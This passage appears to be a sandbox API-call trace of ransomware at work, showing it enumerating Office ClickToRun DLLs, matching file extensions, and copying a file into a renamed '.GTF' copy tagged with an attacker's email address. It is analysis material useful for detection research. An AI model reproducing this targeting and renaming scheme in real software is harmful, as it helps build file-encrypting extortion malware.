	[0086.075] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0086.076] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0086.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83
	[0086.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83
	[0086.076] lstrlenW (lpString=".doc") returned 4
	[0086.076] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0086.076] lstrlenW (lpString=".docx") returned 5
	[0086.076] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1
	[0086.076] lstrlenW (lpString=".pdf") returned 4
	[0086.076] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0086.076] lstrlenW (lpString=".xls") returned 4
	[0086.076] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0086.076] lstrlenW (lpString=".xlsx") returned 5
	[0086.076] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1
	[0086.076] lstrlenW (lpString=".ppt") returned 4
	[0086.076] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0086.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83
	[0086.076] lstrlenW (lpString=".zip") returned 4
	[0086.076] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0086.076] lstrlenW (lpString=".rar") returned 4
	[0086.076] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0086.076] lstrlenW (lpString=".bz2") returned 4
	[0086.076] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0086.076] lstrlenW (lpString=".7z") returned 3
	[0086.076] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0086.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83
	[0086.076] lstrlenW (lpString=".dbf") returned 4
	[0086.076] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0086.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83
	[0086.076] lstrlenW (lpString=".1cd") returned 4
	[0086.076] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0086.076] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83
	[0086.077] lstrlenW (lpString=".jpg") returned 4
	[0086.077] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0086.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83
	[0086.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83
	[0086.077] lstrlenW (lpString=".doc") returned 4
	[0086.077] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0086.077] lstrlenW (lpString=".docx") returned 5
	[0086.077] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1
	[0086.077] lstrlenW (lpString=".pdf") returned 4
	[0086.077] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0086.077] lstrlenW (lpString=".xls") returned 4
	[0086.077] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0086.077] lstrlenW (lpString=".xlsx") returned 5
	[0086.077] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1
	[0086.077] lstrlenW (lpString=".ppt") returned 4
	[0086.077] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0086.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83
	[0086.077] lstrlenW (lpString=".zip") returned 4
	[0086.077] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0086.077] lstrlenW (lpString=".rar") returned 4
	[0086.077] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0086.077] lstrlenW (lpString=".bz2") returned 4
	[0086.077] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0086.077] lstrlenW (lpString=".7z") returned 3
	[0086.077] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0086.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83
	[0086.077] lstrlenW (lpString=".dbf") returned 4
	[0086.077] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0086.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83
	[0086.077] lstrlenW (lpString=".1cd") returned 4
	[0086.077] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0086.077] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned 83
	[0086.077] lstrlenW (lpString=".jpg") returned 4
	[0086.077] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0086.078] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0086.078] lstrlenW (lpString="AppVManifest.dll") returned 16
	[0086.078] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0086.078] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=1231576) returned 1
	[0086.078] CloseHandle (hObject=0x39c) returned 1
	[0086.078] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll")) returned 0x20
	[0086.078] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0086.078] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0086.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74
	[0086.078] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74
	[0086.078] lstrlenW (lpString=".doc") returned 4
	[0086.078] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0086.078] lstrlenW (lpString=".docx") returned 5
	[0086.078] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0086.078] lstrlenW (lpString=".pdf") returned 4
	[0086.078] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0086.078] lstrlenW (lpString=".xls") returned 4
	[0086.078] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0086.079] lstrlenW (lpString=".xlsx") returned 5
	[0086.079] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0086.079] lstrlenW (lpString=".ppt") returned 4
	[0086.079] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0086.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74
	[0086.079] lstrlenW (lpString=".zip") returned 4
	[0086.079] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0086.079] lstrlenW (lpString=".rar") returned 4
	[0086.079] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0086.079] lstrlenW (lpString=".bz2") returned 4
	[0086.079] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0086.079] lstrlenW (lpString=".7z") returned 3
	[0086.079] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0086.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74
	[0086.079] lstrlenW (lpString=".dbf") returned 4
	[0086.079] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0086.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74
	[0086.079] lstrlenW (lpString=".1cd") returned 4
	[0086.079] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0086.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74
	[0086.079] lstrlenW (lpString=".jpg") returned 4
	[0086.079] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0086.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74
	[0086.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74
	[0086.079] lstrlenW (lpString=".doc") returned 4
	[0086.079] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0086.079] lstrlenW (lpString=".docx") returned 5
	[0086.079] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0086.079] lstrlenW (lpString=".pdf") returned 4
	[0086.079] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0086.079] lstrlenW (lpString=".xls") returned 4
	[0086.079] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0086.079] lstrlenW (lpString=".xlsx") returned 5
	[0086.079] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0086.079] lstrlenW (lpString=".ppt") returned 4
	[0086.079] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0086.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74
	[0086.080] lstrlenW (lpString=".zip") returned 4
	[0086.080] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0086.080] lstrlenW (lpString=".rar") returned 4
	[0086.080] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0086.080] lstrlenW (lpString=".bz2") returned 4
	[0086.080] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0086.080] lstrlenW (lpString=".7z") returned 3
	[0086.080] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0086.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74
	[0086.080] lstrlenW (lpString=".dbf") returned 4
	[0086.080] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0086.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74
	[0086.080] lstrlenW (lpString=".1cd") returned 4
	[0086.080] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0086.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned 74
	[0086.080] lstrlenW (lpString=".jpg") returned 4
	[0086.080] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0086.080] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0086.080] lstrlenW (lpString="AppVOrchestration.dll") returned 21
	[0086.080] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0086.080] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=947928) returned 1
	[0086.080] CloseHandle (hObject=0x39c) returned 1
	[0086.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll")) returned 0x20
	[0086.081] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0086.081] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0086.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79
	[0086.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79
	[0086.081] lstrlenW (lpString=".doc") returned 4
	[0086.081] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0086.081] lstrlenW (lpString=".docx") returned 5
	[0086.081] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1
	[0086.081] lstrlenW (lpString=".pdf") returned 4
	[0086.081] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0086.081] lstrlenW (lpString=".xls") returned 4
	[0086.081] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0086.081] lstrlenW (lpString=".xlsx") returned 5
	[0086.081] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1
	[0086.081] lstrlenW (lpString=".ppt") returned 4
	[0086.081] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0086.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79
	[0086.081] lstrlenW (lpString=".zip") returned 4
	[0086.081] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0086.081] lstrlenW (lpString=".rar") returned 4
	[0086.081] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0086.081] lstrlenW (lpString=".bz2") returned 4
	[0086.081] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0086.081] lstrlenW (lpString=".7z") returned 3
	[0086.081] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0086.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79
	[0086.081] lstrlenW (lpString=".dbf") returned 4
	[0086.081] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0086.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79
	[0086.081] lstrlenW (lpString=".1cd") returned 4
	[0086.081] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0086.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79
	[0086.082] lstrlenW (lpString=".jpg") returned 4
	[0086.082] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0086.082] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79
	[0086.082] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79
	[0086.082] lstrlenW (lpString=".doc") returned 4
	[0086.082] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0086.082] lstrlenW (lpString=".docx") returned 5
	[0086.082] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1
	[0086.082] lstrlenW (lpString=".pdf") returned 4
	[0086.082] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0086.082] lstrlenW (lpString=".xls") returned 4
	[0086.082] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0086.082] lstrlenW (lpString=".xlsx") returned 5
	[0086.082] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1
	[0086.082] lstrlenW (lpString=".ppt") returned 4
	[0086.082] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0086.082] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79
	[0086.082] lstrlenW (lpString=".zip") returned 4
	[0086.082] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0086.082] lstrlenW (lpString=".rar") returned 4
	[0086.082] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0086.082] lstrlenW (lpString=".bz2") returned 4
	[0086.082] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0086.082] lstrlenW (lpString=".7z") returned 3
	[0086.082] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0086.082] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79
	[0086.082] lstrlenW (lpString=".dbf") returned 4
	[0086.082] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0086.082] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79
	[0086.082] lstrlenW (lpString=".1cd") returned 4
	[0086.082] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0086.082] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned 79
	[0086.082] lstrlenW (lpString=".jpg") returned 4
	[0086.082] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0086.083] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0086.083] lstrlenW (lpString="AppVPolicy.dll") returned 14
	[0086.083] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0086.083] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=1295576) returned 1
	[0086.083] CloseHandle (hObject=0x39c) returned 1
	[0086.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll")) returned 0x20
	[0086.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0086.083] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0086.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72
	[0086.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72
	[0086.083] lstrlenW (lpString=".doc") returned 4
	[0086.083] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0086.083] lstrlenW (lpString=".docx") returned 5
	[0086.083] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1
	[0086.083] lstrlenW (lpString=".pdf") returned 4
	[0086.083] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0086.083] lstrlenW (lpString=".xls") returned 4
	[0086.083] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0086.084] lstrlenW (lpString=".xlsx") returned 5
	[0086.084] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1
	[0086.084] lstrlenW (lpString=".ppt") returned 4
	[0086.084] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0086.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72
	[0086.084] lstrlenW (lpString=".zip") returned 4
	[0086.084] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0086.084] lstrlenW (lpString=".rar") returned 4
	[0086.084] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0086.084] lstrlenW (lpString=".bz2") returned 4
	[0086.084] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0086.084] lstrlenW (lpString=".7z") returned 3
	[0086.084] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0086.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72
	[0086.084] lstrlenW (lpString=".dbf") returned 4
	[0086.084] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0086.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72
	[0086.084] lstrlenW (lpString=".1cd") returned 4
	[0086.084] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0086.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72
	[0086.084] lstrlenW (lpString=".jpg") returned 4
	[0086.084] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0086.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72
	[0086.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72
	[0086.084] lstrlenW (lpString=".doc") returned 4
	[0086.084] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0086.084] lstrlenW (lpString=".docx") returned 5
	[0086.084] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1
	[0086.084] lstrlenW (lpString=".pdf") returned 4
	[0086.084] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0086.084] lstrlenW (lpString=".xls") returned 4
	[0086.084] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0086.084] lstrlenW (lpString=".xlsx") returned 5
	[0086.084] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1
	[0086.084] lstrlenW (lpString=".ppt") returned 4
	[0086.084] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0086.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72
	[0086.085] lstrlenW (lpString=".zip") returned 4
	[0086.085] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0086.085] lstrlenW (lpString=".rar") returned 4
	[0086.085] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0086.085] lstrlenW (lpString=".bz2") returned 4
	[0086.085] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0086.085] lstrlenW (lpString=".7z") returned 3
	[0086.085] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0086.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72
	[0086.085] lstrlenW (lpString=".dbf") returned 4
	[0086.085] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0086.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72
	[0086.085] lstrlenW (lpString=".1cd") returned 4
	[0086.085] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0086.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72
	[0086.085] lstrlenW (lpString=".jpg") returned 4
	[0086.085] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0086.085] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0086.085] lstrlenW (lpString="AppVScripting.dll") returned 17
	[0086.085] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0086.086] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=512216) returned 1
	[0086.086] CloseHandle (hObject=0x39c) returned 1
	[0086.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll")) returned 0x20
	[0086.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0086.086] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0086.086] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.086] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.086] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0086.087] GetLastError () returned 0x0
	[0086.087] ReadFile (in: hFile=0x39c, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x7d0d8, lpOverlapped=0x0) returned 1
	[0086.104] WriteFile (in: hFile=0x384, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0x7d0e0, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0x7d0e0, lpOverlapped=0x0) returned 1
	[0086.113] ReadFile (in: hFile=0x39c, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1
